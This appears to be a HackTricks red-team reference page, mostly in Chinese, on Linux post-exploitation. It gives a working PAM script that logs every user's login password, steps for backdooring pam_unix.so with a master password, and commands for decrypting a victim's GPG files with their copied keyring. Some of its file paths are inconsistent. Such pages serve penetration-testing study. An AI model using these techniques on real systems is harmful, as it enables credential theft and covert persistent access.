Linux Post-Exploitation

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Sniffing Logon Passwords with PAM

让我们配置一个 PAM 模块来记录每个用户用于登录的密码。如果你不知道什么是 PAM,请查看:

PAM - Pluggable Authentication Modules

For further details check the original post。这只是一个摘要:

Technique Overview: Pluggable Authentication Modules (PAM) 为在基于 Unix 的系统上管理身份验证提供了灵活性。它们可以通过自定义登录流程来增强安全性,但如果被滥用也会带来风险。本摘要概述了一种使用 PAM 捕获登录凭证的技术,以及相应的缓解策略。

Capturing Credentials:

  • 创建了一个名为 toomanysecrets.sh 的 bash 脚本,用于记录登录尝试,捕获日期、用户名($PAM_USER)、密码(通过 stdin)以及远程主机 IP($PAM_RHOST),并将其写入 /var/log/toomanysecrets.log
  • 该脚本被赋予可执行权限,并通过在 PAM 配置(common-auth)中使用 pam_exec.so 模块集成,使用了静默运行并将认证令牌暴露给脚本的选项。
  • 该方法演示了被攻陷的 Linux 主机如何被利用以隐蔽地记录凭证。
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

在 PAM 中植入后门

更多细节请查看 original post。下面只是一个摘要:

Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:username, password, 和 service。每个 service 的配置文件位于 /etc/pam.d/ 目录中,共享库负责处理认证。

目标:修改 PAM,使其接受一个特定的密码进行认证,从而绕过实际用户密码。这里主要针对 pam_unix.so 共享库,该库由 common-auth 文件调用,而 common-auth 被几乎所有用于密码验证的 services 所包含。

修改 pam_unix.so 的步骤:

  1. 定位 Authentication 指令common-auth 文件中:
  • 负责检查用户密码的那一行会调用 pam_unix.so
  1. 修改源代码
  • pam_unix_auth.c 源文件中添加一个条件判断:如果使用了预定义的密码则授予访问权限,否则按常规认证流程继续。
  1. 重新编译并替换 修改后的 pam_unix.so 库到相应目录。
  2. 测试
  • 使用预定义密码可以在多种服务(login, ssh, sudo, su, screensaver)上获得访问权限,而正常的认证流程保持不受影响。

tip

你可以使用 https://github.com/zephrax/linux-pam-backdoor 来自动化此过程

通过重定位 homedir 解密 GPG loot

如果你发现一个被加密的 .gpg 文件并且找到了用户的 ~/.gnupg 文件夹(pubring, private-keys, trustdb),但由于 GnuPG homedir 的权限/锁定无法解密,可以将 keyring 复制到一个可写的位置并将其作为你的 GPG home 使用。

在没有这样做时你通常会看到的错误有:"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir)。

工作流程:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

如果秘密密钥材料存在于 private-keys-v1.d 中,GPG 将在不提示输入 passphrase 的情况下解锁并解密(或者如果密钥受保护则会提示)。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks